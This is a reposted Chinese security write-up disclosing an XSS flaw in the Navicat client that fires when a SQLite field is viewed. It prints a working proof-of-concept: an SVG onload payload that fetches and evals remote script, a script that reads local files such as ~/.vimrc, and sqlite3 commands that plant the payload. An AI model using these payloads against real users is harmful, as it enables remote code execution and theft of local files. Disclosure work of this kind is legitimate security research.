技术分享看不见的攻击面:查看SQLite数据库就中招?

Posted 安钛信安

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了技术分享看不见的攻击面:查看SQLite数据库就中招?相关的知识,希望对你有一定的参考价值。

Navicat 客户端存在一个XSS,在查看表字段时,没有对内容进行处理,导致一个XSS问题。利用这个漏洞可以读取敏感文件,比如 /Users/XXXX/.bash_history 。

漏洞发现

这两天在测试一个漏洞数据库,这个漏洞库集成了 packetstormsecurity、exploitdb 等知名来源的数据。当我们用 navicat 打开,查看某个字段的时候,奇怪的事情发生了,居然有javascript弹窗提示?

通过搜索 prompt 关键词,很快定位到了问题

【技术分享】看不见的攻击面:查看SQLite数据库就中招?

所以,navicat 在渲染数据库字段时,莫名其妙的执行了代码中的 Javascript。

漏洞测试

为了方便调试客户端XSS,我们编写一个最小的 “requirejs” 利用代码。这段代码会远程加载 127.0.0.1/test.js 并执行

http://localhost/x#<svg/onload='function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();'>

下面编写 test.js,以读取沙箱外面的文件为例(注意替换 Users/USERNAME/.vimrc 为你要读取的文件)

function reqListener () {
  prompt(this.responseText);
}var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///Users/USERNAME/.vimrc");
oReq.send();

然后来创建SQLite数据库,并用 Navicat 打开

%> sqlite3 test.db
SQLite version 3.19.3 2017-06-27 16:48:08Enter ".help" for usage hints.
sqlite> create table test(id text);
sqlite> insert into test values('http://localhost/x#<svg/onload=''function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();''>');

经过测试,利用这个漏洞读取用户文件、内网代理、访问开发机上的 redis 等等都是可以的,具有一定的危害

【技术分享】看不见的攻击面:查看SQLite数据库就中招?

测试环境下载

笔者制作了一个最小的测试库 “navicat-clientxss-test.db”,在这里下载:https://rasp.baidu.com/download/


*来自FreeBuf

*如有侵权,请联系我们删除

653994643

sectimes






以上是关于技术分享看不见的攻击面:查看SQLite数据库就中招?的主要内容,如果未能解决你的问题,请参考以下文章

螣龙安科实力再认证!受邀分享攻击面管理核心技术解析

Arcgis中更新地理配准后图片看不见了

人工智能在攻击面管理的应用,螣龙安科受邀ISC上海分会分享实录

终端安全检测与防御技术

终端安全检测与防御技术

技术分享Sqlite联合注入辅助脚本